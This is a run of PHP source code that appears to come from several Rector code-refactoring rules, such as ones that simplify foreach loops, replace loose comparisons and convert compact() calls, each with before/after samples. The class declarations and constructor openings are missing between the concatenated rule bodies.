$existingProperty->type = $this->typedPropertyFactory->createPropertyTypeNode($propertyTagValueNode, $class, $isNullable); continue; } $newProperties[] = $this->typedPropertyFactory->createFromPropertyTagValueNode($propertyTagValueNode, $class, $propertyName); } return $newProperties; } private function shouldSkipClass(Class_ $class) : bool { // skip magic $getClassMethod = $class->getMethod('__get'); if ($getClassMethod instanceof ClassMethod) { return \true; } $setClassMethod = $class->getMethod('__set'); if ($setClassMethod instanceof ClassMethod) { return \true; } if (!$class->extends instanceof Node) { return \false; } return !$this->testsNodeAnalyzer->isInTestClass($class); } private function isPromotedProperty(Class_ $class, string $propertyName) : bool { $constructClassMethod = $class->getMethod(MethodName::CONSTRUCT); if ($constructClassMethod instanceof ClassMethod) { foreach ($constructClassMethod->params as $param) { if (!$param->flags) { continue; } $paramName = $this->getName($param->var); if ($paramName === $propertyName) { return \true; } } } return \false; } } exprAnalyzer = $exprAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Move property default from constructor to property default', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { private $name; public function __construct() { $this->name = 'John'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private $name = 'John'; public function __construct() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $constructClassMethod = $node->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return null; } if ($constructClassMethod->stmts === null) { return null; } foreach ($constructClassMethod->stmts as $key => $stmt) { // code that is possibly breaking flow if ($stmt instanceof If_) { return null; } if (!$stmt instanceof Expression) { continue; } if (!$stmt->expr instanceof Assign) { continue; } $assign = $stmt->expr; $propertyName = $this->matchAssignedLocalPropertyName($assign); if (!\is_string($propertyName)) { continue; } $defaultExpr = $assign->expr; if ($this->exprAnalyzer->isDynamicExpr($defaultExpr)) { continue; } $hasPropertyChanged = $this->refactorProperty($node, $propertyName, $defaultExpr, $constructClassMethod, $key); if ($hasPropertyChanged) { $hasChanged = \true; } } if (!$hasChanged) { return null; } return $node; } private function matchAssignedLocalPropertyName(Assign $assign) : ?string { if (!$assign->var instanceof PropertyFetch) { return null; } $propertyFetch = $assign->var; if (!$this->nodeNameResolver->isName($propertyFetch->var, 'this')) { return null; } $propertyName = $this->nodeNameResolver->getName($propertyFetch->name); if (!\is_string($propertyName)) { return null; } return $propertyName; } private function refactorProperty(Class_ $class, string $propertyName, Expr $defaultExpr, ClassMethod $constructClassMethod, int $key) : bool { if ($class->isReadonly()) { return \false; } foreach ($class->stmts as $classStmt) { if (!$classStmt instanceof Property) { continue; } // readonly property cannot have default value if ($classStmt->isReadonly()) { continue; } foreach ($classStmt->props as $propertyProperty) { if (!$this->isName($propertyProperty, $propertyName)) { continue; } $propertyProperty->default = $defaultExpr; // remove assign unset($constructClassMethod->stmts[$key]); return \true; } } return \false; } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Class_ { if (!$node->isFinal()) { return null; } $hasChanged = \false; $this->traverseNodesWithCallable($node->stmts, function (Node $subNode) use(&$hasChanged, $node) : ?StaticCall { if (!$subNode instanceof StaticCall) { return null; } if (!$this->isName($subNode->class, ObjectReference::STATIC)) { return null; } // skip dynamic method if (!$subNode->name instanceof Identifier) { return null; } $methodName = (string) $this->getName($subNode->name); $targetClassMethod = $node->getMethod($methodName); // skip call non-existing method from current class to ensure transformation is safe if (!$targetClassMethod instanceof ClassMethod) { return null; } // avoid overlapped change if (!$targetClassMethod->isStatic()) { return null; } $hasChanged = \true; $subNode->class = new Name('self'); return $subNode; }); if ($hasChanged) { return $node; } return null; } } > */ public function getNodeTypes() : array { return [Concat::class]; } /** * @param Concat $node */ public function refactor(Node $node) : ?Node { if (!$node->left instanceof String_) { return null; } if (!$node->right instanceof String_) { return null; } $leftStartLine = $node->left->getStartLine(); $rightStartLine = $node->right->getStartLine(); if ($leftStartLine > 0 && $rightStartLine > 0 && $rightStartLine > $leftStartLine) { return null; } return $this->joinConcatIfStrings($node->left, $node->right); } private function joinConcatIfStrings(String_ $leftString, String_ $rightString) : ?String_ { $leftValue = $leftString->value; $rightValue = $rightString->value; if (\strpos($leftValue, "\n") !== \false || \strpos($rightValue, "\n") !== \false) { return null; } $joinedStringValue = $leftValue . $rightValue; if (StringUtils::isMatch($joinedStringValue, self::ASCII_REGEX)) { return null; } if (Strings::length($joinedStringValue) >= self::LINE_BREAK_POINT) { return null; } return new String_($joinedStringValue); } } exprAnalyzer = $exprAnalyzer; $this->reflectionResolver = $reflectionResolver; $this->astResolver = $astResolver; $this->allAssignNodePropertyTypeInferer = $allAssignNodePropertyTypeInferer; $this->reservedKeywordAnalyzer = $reservedKeywordAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify empty() functions calls on empty arrays', [new CodeSample(<<<'CODE_SAMPLE' $array = []; if (empty($values)) { } CODE_SAMPLE , <<<'CODE_SAMPLE' $array = []; if ([] === $values) { } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Empty_::class, BooleanNot::class]; } /** * @param Empty_|BooleanNot $node $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($node instanceof BooleanNot) { if ($node->expr instanceof Empty_ && $this->isAllowedExpr($node->expr->expr, $scope)) { return new NotIdentical($node->expr->expr, new Array_()); } return null; } if (!$this->isAllowedExpr($node->expr, $scope)) { return null; } return new Identical($node->expr, new Array_()); } private function isAllowedVariable(Variable $variable) : bool { if (\is_string($variable->name) && $this->reservedKeywordAnalyzer->isNativeVariable($variable->name)) { return \false; } return !$this->exprAnalyzer->isNonTypedFromParam($variable); } private function isAllowedExpr(Expr $expr, Scope $scope) : bool { if (!$scope->getType($expr) instanceof ArrayType) { return \false; } if ($expr instanceof Variable) { return $this->isAllowedVariable($expr); } if (!$expr instanceof PropertyFetch && !$expr instanceof StaticPropertyFetch) { return \false; } if (!$expr->name instanceof Identifier) { return \false; } $classReflection = $this->reflectionResolver->resolveClassReflectionSourceObject($expr); if (!$classReflection instanceof ClassReflection) { return \false; } $propertyName = $expr->name->toString(); if (!$classReflection->hasNativeProperty($propertyName)) { return \false; } $phpPropertyReflection = $classReflection->getNativeProperty($propertyName); $nativeType = $phpPropertyReflection->getNativeType(); if (!$nativeType instanceof MixedType) { return $nativeType instanceof ArrayType; } $property = $this->astResolver->resolvePropertyFromPropertyReflection($phpPropertyReflection); /** * Skip property promotion mixed type for now, as: * * - require assign in default param check * - check all assign of property promotion params under the class */ if (!$property instanceof Property) { return \false; } $type = $this->allAssignNodePropertyTypeInferer->inferProperty($property, $classReflection, $this->file); return $type instanceof ArrayType; } } > */ public function getNodeTypes() : array { return [Equal::class, NotEqual::class]; } /** * @param Equal|NotEqual $node */ public function refactor(Node $node) : ?Node { $leftStaticType = $this->nodeTypeResolver->getNativeType($node->left); $rightStaticType = $this->nodeTypeResolver->getNativeType($node->right); // objects can be different by content if ($leftStaticType instanceof ObjectType || $rightStaticType instanceof ObjectType) { return null; } if ($leftStaticType instanceof MixedType || $rightStaticType instanceof MixedType) { return null; } if ($leftStaticType->isString()->yes() && $rightStaticType->isString()->yes()) { return $this->processIdenticalOrNotIdentical($node); } // different types if (!$leftStaticType->equals($rightStaticType)) { return null; } return $this->processIdenticalOrNotIdentical($node); } /** * @param \PhpParser\Node\Expr\BinaryOp\Equal|\PhpParser\Node\Expr\BinaryOp\NotEqual $node * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical */ private function processIdenticalOrNotIdentical($node) { if ($node instanceof Equal) { return new Identical($node->left, $node->right); } return new NotIdentical($node->left, $node->right); } } binaryOpManipulator = $binaryOpManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change inline if to explicit if', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $userId = null; is_null($userId) && $userId = 5; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $userId = null; if (is_null($userId)) { $userId = 5; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node */ public function refactor(Node $node) : ?Node { if ($node->expr instanceof BooleanAnd) { return $this->processExplicitIf($node); } if ($node->expr instanceof BooleanOr) { return $this->processExplicitIf($node); } return null; } private function processExplicitIf(Expression $expression) : ?Node { /** @var BooleanAnd|BooleanOr $booleanExpr */ $booleanExpr = $expression->expr; $leftStaticType = $this->getType($booleanExpr->left); if (!$leftStaticType->isBoolean()->yes()) { return null; } $exprLeft = $booleanExpr->left instanceof BooleanNot ? $booleanExpr->left->expr : $booleanExpr->left; if ($exprLeft instanceof FuncCall && $this->isName($exprLeft, 'defined')) { return null; } /** @var Expr $expr */ $expr = $booleanExpr instanceof BooleanAnd ? $booleanExpr->left : $this->binaryOpManipulator->inverseNode($booleanExpr->left); $if = new If_($expr); $if->stmts[] = new Expression($booleanExpr->right); $this->mirrorComments($if, $expression); return $if; } } exprAnalyzer = $exprAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change ternary with false to if and explicit call', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run($value, $someMethod) { $value ? $someMethod->call($value) : false; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run($value, $someMethod) { if ($value) { $someMethod->call($value); } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if (!$node->expr instanceof Ternary) { return null; } $ternary = $node->expr; if (!$ternary->if instanceof Expr) { return null; } if (!$ternary->else instanceof Variable && $this->exprAnalyzer->isDynamicExpr($ternary->else)) { return null; } return new If_($ternary->cond, ['stmts' => [new Expression($ternary->if)]]); } } > */ public function getNodeTypes() : array { return [For_::class]; } /** * @param For_ $node * @return Stmt[]|null */ public function refactorWithScope(Node $node, Scope $scope) : ?array { if ($scope->hasVariableType(self::COUNTER_NAME)->yes()) { return null; } $countInCond = null; $counterVariable = new Variable(self::COUNTER_NAME); foreach ($node->cond as $condExpr) { if (!$condExpr instanceof Smaller && !$condExpr instanceof SmallerOrEqual) { continue; } if (!$condExpr->right instanceof FuncCall) { continue; } $funcCall = $condExpr->right; if (!$this->isName($funcCall, 'count')) { continue; } $countInCond = $condExpr->right; $condExpr->right = $counterVariable; } if (!$countInCond instanceof Expr) { return null; } $countAssign = new Assign($counterVariable, $countInCond); return [new Expression($countAssign), $node]; } } foreachAnalyzer = $foreachAnalyzer; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change foreach() items assign to empty array to direct assign', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($items) { $collectedItems = []; foreach ($items as $item) { $collectedItems[] = $item; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($items) { $collectedItems = []; $collectedItems = $items; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $emptyArrayVariables = []; foreach ($node->stmts as $key => $stmt) { $variableName = $this->matchEmptyArrayVariableAssign($stmt); if (\is_string($variableName)) { $emptyArrayVariables[] = $variableName; } if (!$stmt instanceof Foreach_) { if ($this->isAppend($stmt, $emptyArrayVariables)) { return null; } continue; } if ($this->shouldSkip($stmt, $emptyArrayVariables)) { continue; } $assignVariable = $this->foreachAnalyzer->matchAssignItemsOnlyForeachArrayVariable($stmt); if (!$assignVariable instanceof Expr) { continue; } $directAssign = new Assign($assignVariable, $stmt->expr); $node->stmts[$key] = new Expression($directAssign); return $node; } return null; } /** * @param string[] $emptyArrayVariables */ private function isAppend(Stmt $stmt, array $emptyArrayVariables) : bool { $isAppend = \false; $this->traverseNodesWithCallable($stmt, function (Node $subNode) use($emptyArrayVariables, &$isAppend) : ?int { if ($subNode instanceof Assign && $subNode->var instanceof ArrayDimFetch) { $isAppend = $this->isNames($subNode->var->var, $emptyArrayVariables); if ($isAppend) { return NodeTraverser::STOP_TRAVERSAL; } } if ($subNode instanceof Assign && $subNode->var instanceof Variable && $this->isNames($subNode->var, $emptyArrayVariables) && !$this->valueResolver->isValue($subNode->expr, [])) { $isAppend = \true; return NodeTraverser::STOP_TRAVERSAL; } return null; }); return $isAppend; } /** * @param string[] $emptyArrayVariables */ private function shouldSkip(Foreach_ $foreach, array $emptyArrayVariables) : bool { $assignVariableExpr = $this->foreachAnalyzer->matchAssignItemsOnlyForeachArrayVariable($foreach); if (!$assignVariableExpr instanceof Expr) { return \true; } $foreachedExprType = $this->nodeTypeResolver->getNativeType($foreach->expr); // only arrays, not traversable/iterable if (!$foreachedExprType->isArray()->yes()) { return \true; } return !$this->isNames($assignVariableExpr, $emptyArrayVariables); } private function matchEmptyArrayVariableAssign(Stmt $stmt) : ?string { if (!$stmt instanceof Expression) { return null; } if (!$stmt->expr instanceof Assign) { return null; } $assign = $stmt->expr; if (!$assign->var instanceof Variable) { return null; } // must be assign of empty array if (!$this->valueResolver->isValue($assign->expr, [])) { return null; } return $this->getName($assign->var); } } binaryOpManipulator = $binaryOpManipulator; $this->valueResolver = $valueResolver; $this->nodeFinder = $nodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify `foreach` loops into `in_array` when possible', [new CodeSample(<<<'CODE_SAMPLE' foreach ($items as $item) { if ($item === 'something') { return true; } } return false; CODE_SAMPLE , <<<'CODE_SAMPLE' return in_array('something', $items, true); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } $prevStmt = $node->stmts[$key - 1] ?? null; if (!$prevStmt instanceof Foreach_) { continue; } $return = $stmt; $foreach = $prevStmt; if ($this->shouldSkipForeach($foreach)) { return null; } /** @var If_ $firstNodeInsideForeach */ $firstNodeInsideForeach = $foreach->stmts[0]; if ($this->shouldSkipIf($firstNodeInsideForeach)) { return null; } /** @var Identical|Equal $ifCondition */ $ifCondition = $firstNodeInsideForeach->cond; $twoNodeMatch = $this->matchNodes($ifCondition, $foreach->valueVar); if (!$twoNodeMatch instanceof TwoNodeMatch) { return null; } $variableNodes = $this->nodeFinder->findInstanceOf($twoNodeMatch->getSecondExpr(), Variable::class); foreach ($variableNodes as $variableNode) { if ($this->nodeComparator->areNodesEqual($variableNode, $foreach->valueVar)) { return null; } } $comparedExpr = $twoNodeMatch->getSecondExpr(); if (!$this->isIfBodyABoolReturnNode($firstNodeInsideForeach)) { return null; } $foreachReturn = $firstNodeInsideForeach->stmts[0]; if (!$foreachReturn instanceof Return_) { return null; } if (!$return->expr instanceof Expr) { return null; } if (!$this->valueResolver->isTrueOrFalse($return->expr)) { return null; } if (!$foreachReturn->expr instanceof Expr) { return null; } // cannot be "return true;" + "return true;" if ($this->nodeComparator->areNodesEqual($return, $foreachReturn)) { return null; } // 1. remove foreach unset($node->stmts[$key - 1]); // 2. make return of in_array() $funcCall = $this->createInArrayFunction($comparedExpr, $ifCondition, $foreach); $return = $this->createReturn($foreachReturn->expr, $funcCall); $node->stmts[$key] = $return; return $node; } return null; } private function shouldSkipForeach(Foreach_ $foreach) : bool { if ($foreach->keyVar instanceof Expr) { return \true; } if (\count($foreach->stmts) > 1) { return \true; } if (!$foreach->stmts[0] instanceof If_) { return \true; } return !$this->nodeTypeResolver->getNativeType($foreach->expr)->isArray()->yes(); } private function shouldSkipIf(If_ $if) : bool { $ifCondition = $if->cond; if ($ifCondition instanceof Identical) { return \false; } return !$ifCondition instanceof Equal; } /** * @param \PhpParser\Node\Expr\BinaryOp\Equal|\PhpParser\Node\Expr\BinaryOp\Identical $binaryOp */ private function matchNodes($binaryOp, Expr $expr) : ?TwoNodeMatch { return $this->binaryOpManipulator->matchFirstAndSecondConditionNode($binaryOp, Variable::class, function (Node $node, Node $otherNode) use($expr) : bool { return $this->nodeComparator->areNodesEqual($otherNode, $expr); }); } private function isIfBodyABoolReturnNode(If_ $if) : bool { $ifStatment = $if->stmts[0]; if (!$ifStatment instanceof Return_) { return \false; } if (!$ifStatment->expr instanceof Expr) { return \false; } return $this->valueResolver->isTrueOrFalse($ifStatment->expr); } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\Equal $binaryOp */ private function createInArrayFunction(Expr $expr, $binaryOp, Foreach_ $foreach) : FuncCall { $arguments = $this->nodeFactory->createArgs([$expr, $foreach->expr]); if ($binaryOp instanceof Identical) { $arguments[] = $this->nodeFactory->createArg($this->nodeFactory->createTrue()); } return $this->nodeFactory->createFuncCall('in_array', $arguments); } private function createReturn(Expr $expr, FuncCall $funcCall) : Return_ { $expr = $this->valueResolver->isFalse($expr) ? new BooleanNot($funcCall) : $funcCall; return new Return_($expr); } } oldToNewFunctions as $oldFunction => $newFunction) { if ($currentFunction === $oldFunction) { return $newFunction; } } return null; CODE_SAMPLE , <<<'CODE_SAMPLE' return $this->oldToNewFunctions[$currentFunction] ?? null; CODE_SAMPLE )]); } /** * @innerForeachReturn array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Foreach_) { continue; } $foreach = $stmt; if (!$foreach->keyVar instanceof Expr) { continue; } $foreachReturnOrAssign = $this->matchForeachReturnOrAssign($foreach); if ($foreachReturnOrAssign instanceof Expression) { /** @var Assign $innerAssign */ $innerAssign = $foreachReturnOrAssign->expr; if (!$this->nodeComparator->areNodesEqual($foreach->valueVar, $innerAssign->expr)) { return null; } $assign = $this->processForeachNodeWithAssignInside($foreach, $innerAssign); if (!$assign instanceof Assign) { return null; } $node->stmts[$key] = new Expression($assign); $hasChanged = \true; continue; } if ($foreachReturnOrAssign instanceof Return_) { if (!$this->nodeComparator->areNodesEqual($foreach->valueVar, $foreachReturnOrAssign->expr)) { return null; } $nextStmt = $node->stmts[$key + 1] ?? null; if (!$nextStmt instanceof Return_) { continue; } $return = $this->processForeachNodeWithReturnInside($foreach, $foreachReturnOrAssign, $nextStmt); if (!$return instanceof Return_) { continue; } $node->stmts[$key] = $return; // cleanup next return unset($node->stmts[$key + 1]); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULL_COALESCE; } /** * @todo make assign expr generic * @return Expression|Return_|null */ private function matchForeachReturnOrAssign(Foreach_ $foreach) { if (\count($foreach->stmts) !== 1) { return null; } $onlyForeachStmt = $foreach->stmts[0]; if (!$onlyForeachStmt instanceof If_) { return null; } $if = $onlyForeachStmt; if (!$if->cond instanceof Identical) { return null; } if (\count($if->stmts) !== 1) { return null; } if ($if->else instanceof Else_ || $if->elseifs !== []) { return null; } $foreachExprType = $this->nodeTypeResolver->getNativeType($foreach->expr); if (!$foreachExprType->isArray()->yes()) { return null; } $innerStmt = $if->stmts[0]; if ($innerStmt instanceof Return_) { return $innerStmt; } if (!$innerStmt instanceof Expression) { return null; } $innerNode = $innerStmt->expr; if ($innerNode instanceof Assign) { if ($innerNode->var instanceof ArrayDimFetch) { return null; } return $innerStmt; } return null; } private function processForeachNodeWithReturnInside(Foreach_ $foreach, Return_ $innerForeachReturn, ?Stmt $nextStmt) : ?\PhpParser\Node\Stmt\Return_ { if (!$this->nodeComparator->areNodesEqual($foreach->valueVar, $innerForeachReturn->expr)) { return null; } /** @var If_ $ifNode */ $ifNode = $foreach->stmts[0]; /** @var Identical $identicalNode */ $identicalNode = $ifNode->cond; if ($this->nodeComparator->areNodesEqual($identicalNode->left, $foreach->keyVar)) { $checkedNode = $identicalNode->right; } elseif ($this->nodeComparator->areNodesEqual($identicalNode->right, $foreach->keyVar)) { $checkedNode = $identicalNode->left; } else { return null; } $coalesce = new Coalesce(new ArrayDimFetch($foreach->expr, $checkedNode), $nextStmt instanceof Return_ && $nextStmt->expr instanceof Expr ? $nextStmt->expr : $checkedNode); return new Return_($coalesce); } private function processForeachNodeWithAssignInside(Foreach_ $foreach, Assign $assign) : ?Assign { /** @var If_ $ifNode */ $ifNode = $foreach->stmts[0]; /** @var Identical $identicalNode */ $identicalNode = $ifNode->cond; if ($this->nodeComparator->areNodesEqual($identicalNode->left, $foreach->keyVar)) { $checkedNode = $assign->var; $keyNode = $identicalNode->right; } elseif ($this->nodeComparator->areNodesEqual($identicalNode->right, $foreach->keyVar)) { $checkedNode = $assign->var; $keyNode = $identicalNode->left; } else { return null; } $arrayDimFetch = new ArrayDimFetch($foreach->expr, $keyNode); return new Assign($checkedNode, new Coalesce($arrayDimFetch, $checkedNode)); } } exprUsedInNodeAnalyzer = $exprUsedInNodeAnalyzer; $this->betterNodeFinder = $betterNodeFinder; $this->stmtsManipulator = $stmtsManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change foreach with unused $value but only $key, to array_keys()', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $items = []; foreach ($values as $key => $value) { $items[$key] = null; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $items = []; foreach (array_keys($values) as $key) { $items[$key] = null; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { $stmts = $node->stmts; if ($stmts === null) { return null; } $hasChanged = \false; foreach ($stmts as $key => $stmt) { if (!$stmt instanceof Foreach_) { continue; } if (!$stmt->keyVar instanceof Expr) { continue; } if (!$this->nodeTypeResolver->getNativeType($stmt->expr)->isArray()->yes()) { continue; } // special case of nested array items if ($stmt->valueVar instanceof Array_) { $valueArray = $this->refactorArrayForeachValue($stmt->valueVar, $stmt); if ($valueArray instanceof Array_) { $stmt->valueVar = $valueArray; } // not sure what does this mean :) if ($stmt->valueVar->items !== []) { continue; } $hasChanged = \true; $this->removeForeachValueAndUseArrayKeys($stmt, $stmt->keyVar); continue; } if (!$stmt->valueVar instanceof Variable) { continue; } if ($this->isVariableUsedInForeach($stmt->valueVar, $stmt)) { continue; } if ($this->stmtsManipulator->isVariableUsedInNextStmt($stmts, $key + 1, (string) $this->getName($stmt->valueVar))) { continue; } $hasChanged = \true; $this->removeForeachValueAndUseArrayKeys($stmt, $stmt->keyVar); } if (!$hasChanged) { return null; } return $node; } /** * @param int[] $removedKeys */ private function isArrayItemsRemovalWithoutChangingOrder(Array_ $array, array $removedKeys) : bool { $hasRemovingStarted = \false; foreach (\array_keys($array->items) as $key) { if (\in_array($key, $removedKeys, \true)) { $hasRemovingStarted = \true; } elseif ($hasRemovingStarted) { // we cannot remove the previous item, and not remove the next one, because that would change the order return \false; } } return \true; } private function refactorArrayForeachValue(Array_ $array, Foreach_ $foreach) : ?Array_ { // only last items can be removed, without changing the order $removedKeys = []; foreach ($array->items as $key => $arrayItem) { if (!$arrayItem instanceof ArrayItem) { // only known values can be processes return null; } $value = $arrayItem->value; if (!$value instanceof Variable) { // only variables can be processed return null; } if ($this->isVariableUsedInForeach($value, $foreach)) { continue; } $removedKeys[] = $key; } if (!$this->isArrayItemsRemovalWithoutChangingOrder($array, $removedKeys)) { return null; } // clear removed items foreach ($removedKeys as $removedKey) { unset($array->items[$removedKey]); } return $array; } private function isVariableUsedInForeach(Variable $variable, Foreach_ $foreach) : bool { return (bool) $this->betterNodeFinder->findFirst($foreach->stmts, function (Node $node) use($variable) : bool { return $this->exprUsedInNodeAnalyzer->isUsed($node, $variable); }); } private function removeForeachValueAndUseArrayKeys(Foreach_ $foreach, Expr $keyVarExpr) : void { // remove key value $foreach->valueVar = $keyVarExpr; $foreach->keyVar = null; $foreach->expr = $this->nodeFactory->createFuncCall('array_keys', [$foreach->expr]); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'array_merge')) { return null; } $array = new Array_(); $isAssigned = \false; foreach ($node->args as $arg) { // found non Arg? return early if (!$arg instanceof Arg) { return null; } $nestedArrayItem = $arg->value; if (!$nestedArrayItem instanceof Array_) { return null; } foreach ($nestedArrayItem->items as $nestedArrayItemItem) { if (!$nestedArrayItemItem instanceof ArrayItem) { continue; } $array->items[] = $nestedArrayItemItem->unpack ? $nestedArrayItemItem : new ArrayItem($nestedArrayItemItem->value, $nestedArrayItemItem->key); $isAssigned = \true; } } if (!$isAssigned) { return null; } return $array; } } closureArrowFunctionAnalyzer = $closureArrowFunctionAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Refactor call_user_func() with arrow function to direct call', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { $result = \call_user_func(fn () => 100); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run() { $result = 100; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($node->isFirstClassCallable()) { return null; } if (!$this->isName($node, 'call_user_func')) { return null; } if (\count($node->args) !== 1) { return null; } // change the node if (!isset($node->getArgs()[0])) { return null; } $firstArg = $node->args[0]; if (!$firstArg instanceof Arg) { return null; } $firstArgValue = $firstArg->value; if ($firstArgValue instanceof ArrowFunction) { return $firstArgValue->expr; } if ($firstArgValue instanceof Closure) { return $this->closureArrowFunctionAnalyzer->matchArrowFunctionExpr($firstArgValue); } return null; } } > */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node * @return Stmt[]|null */ public function refactor(Node $node) : ?array { if (!$node->expr instanceof FuncCall) { return null; } $funcCall = $node->expr; if (!$this->isName($funcCall, 'array_push')) { return null; } if ($funcCall->isFirstClassCallable()) { return null; } if ($this->hasArraySpread($funcCall)) { return null; } $args = $funcCall->getArgs(); if ($args === []) { return null; } $firstArg = \array_shift($args); if ($args === []) { return null; } $arrayDimFetch = new ArrayDimFetch($firstArg->value); $newStmts = []; foreach ($args as $key => $arg) { $assign = new Assign($arrayDimFetch, $arg->value); $assignExpression = new Expression($assign); $newStmts[] = $assignExpression; // keep comments of first line if ($key === 0) { $this->mirrorComments($assignExpression, $node); } } return $newStmts; } private function hasArraySpread(FuncCall $funcCall) : bool { foreach ($funcCall->getArgs() as $arg) { if ($arg->unpack) { return \true; } } return \false; } } compactConverter = $compactConverter; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change compact() call to own array', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $checkout = 'one'; $form = 'two'; return compact('checkout', 'form'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $checkout = 'one'; $form = 'two'; return ['checkout' => $checkout, 'form' => $form]; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'compact')) { return null; } if ($this->compactConverter->hasAllArgumentsNamed($node)) { return $this->compactConverter->convertToArray($node); } if ($node->isFirstClassCallable()) { return null; } $firstArg = $node->getArgs()[0]; $firstValue = $firstArg->value; $firstValueStaticType = $this->getType($firstValue); if (!$firstValueStaticType instanceof ConstantArrayType) { return null; } if ($firstValueStaticType->getItemType() instanceof MixedType) { return null; } return $this->refactorAssignArray($firstValueStaticType); } private function refactorAssignArray(ConstantArrayType $constantArrayType) : ?Array_ { $arrayItems = []; foreach ($constantArrayType->getValueTypes() as $valueType) { if (!$valueType instanceof ConstantStringType) { return null; } $variableName = $valueType->getValue(); $variable = new Variable($variableName); $arrayItems[] = new ArrayItem($variable, new String_($variableName)); } return new Array_($arrayItems); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node->name, 'is_a')) { return null; } if ($node->isFirstClassCallable()) { return null; } $args = $node->getArgs(); $firstArgValue = $args[0]->value; if (!$this->isFirstObjectType($firstArgValue)) { return null; } /** * instanceof with Variable is ok, while on FuncCal with instanceof cause fatal error, see https://3v4l.org/IHb30 */ if ($args[1]->value instanceof Variable) { return new Instanceof_($firstArgValue, $args[1]->value); } $className = $this->resolveClassName($args[1]->value); if ($className === null) { return null; } return new Instanceof_($firstArgValue, new FullyQualified($className)); } private function resolveClassName(Expr $expr) : ?string { if (!$expr instanceof ClassConstFetch) { return null; } $type = $this->getType($expr); if ($type instanceof GenericClassStringType) { $type = $type->getGenericType(); } if (!$type instanceof TypeWithClassName) { return null; } return $type->getClassName(); } private function isFirstObjectType(Expr $expr) : bool { $exprType = $this->getType($expr); if ($exprType instanceof ObjectWithoutClassType) { return \true; } return $exprType instanceof ObjectType; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'is_a')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (isset($node->getArgs()[2])) { return null; } $firstArg = $node->getArgs()[0]; $firstArgumentStaticType = $this->getType($firstArg->value); if (!$firstArgumentStaticType->isString()->yes()) { return null; } $node->args[2] = new Arg($this->nodeFactory->createTrue()); return $node; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if 